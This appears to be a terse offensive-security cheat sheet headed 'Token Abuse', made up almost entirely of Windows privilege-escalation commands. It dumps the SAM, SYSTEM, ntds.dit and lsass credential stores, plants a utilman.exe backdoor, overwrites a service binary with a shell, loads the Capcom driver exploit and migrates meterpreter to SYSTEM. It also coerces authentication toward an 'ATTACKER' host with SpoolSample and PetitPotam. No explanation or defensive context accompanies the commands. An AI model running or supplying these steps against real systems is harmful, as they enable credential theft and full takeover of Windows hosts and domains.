Token Abuse

whoami /priv

reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM

robocopy /B C:\Users\Administrator\Desktop C:\Temp report.txt

set context persistent nowriters
add volume C: alias myvolume
create
expose %myvolume% Z:

diskshadow /s script.txt
robocopy /B Z:\Windows\NTDS C:\Temp ntds.dit

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak
copy cmd.exe C:\Windows\System32\utilman.exe

# Enable privilege
Import-Module .\EnableSeRestorePrivilege.ps1

# Write payload
copy shell.dll C:\Windows\System32\target.dll

takeown /f "C:\Windows\System32\config\SAM"
icacls "C:\Windows\System32\config\SAM" /grant %USERNAME%:F
copy C:\Windows\System32\config\SAM C:\Temp\

takeown /f "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /r

takeown /f "C:\Program Files\Service\app.exe"
icacls "C:\Program Files\Service\app.exe" /grant %USERNAME%:F
copy shell.exe "C:\Program Files\Service\app.exe"

https://github.com/FuzzySecurity/Capcom-Rootkit/

# Load driver
LoadDriver.exe System\CurrentControlSet\Capcom C:\Temp\Capcom.sys

# Exploit
ExploitCapcom.exe

meterpreter > ps
meterpreter > migrate <SYSTEM_PID>

procdump.exe -accepteula -ma lsass.exe lsass.dmp

$pipe = New-Object System.IO.Pipes.NamedPipeServerStream("pwned", [System.IO.Pipes.PipeDirection]::InOut)
$pipe.WaitForConnection()
# Client connects → impersonate
$pipe.RunAsClient({ whoami })

# SpoolSample (print spooler)
SpoolSample.exe TARGET ATTACKER

# PetitPotam (EFS)
python3 PetitPotam.py ATTACKER TARGET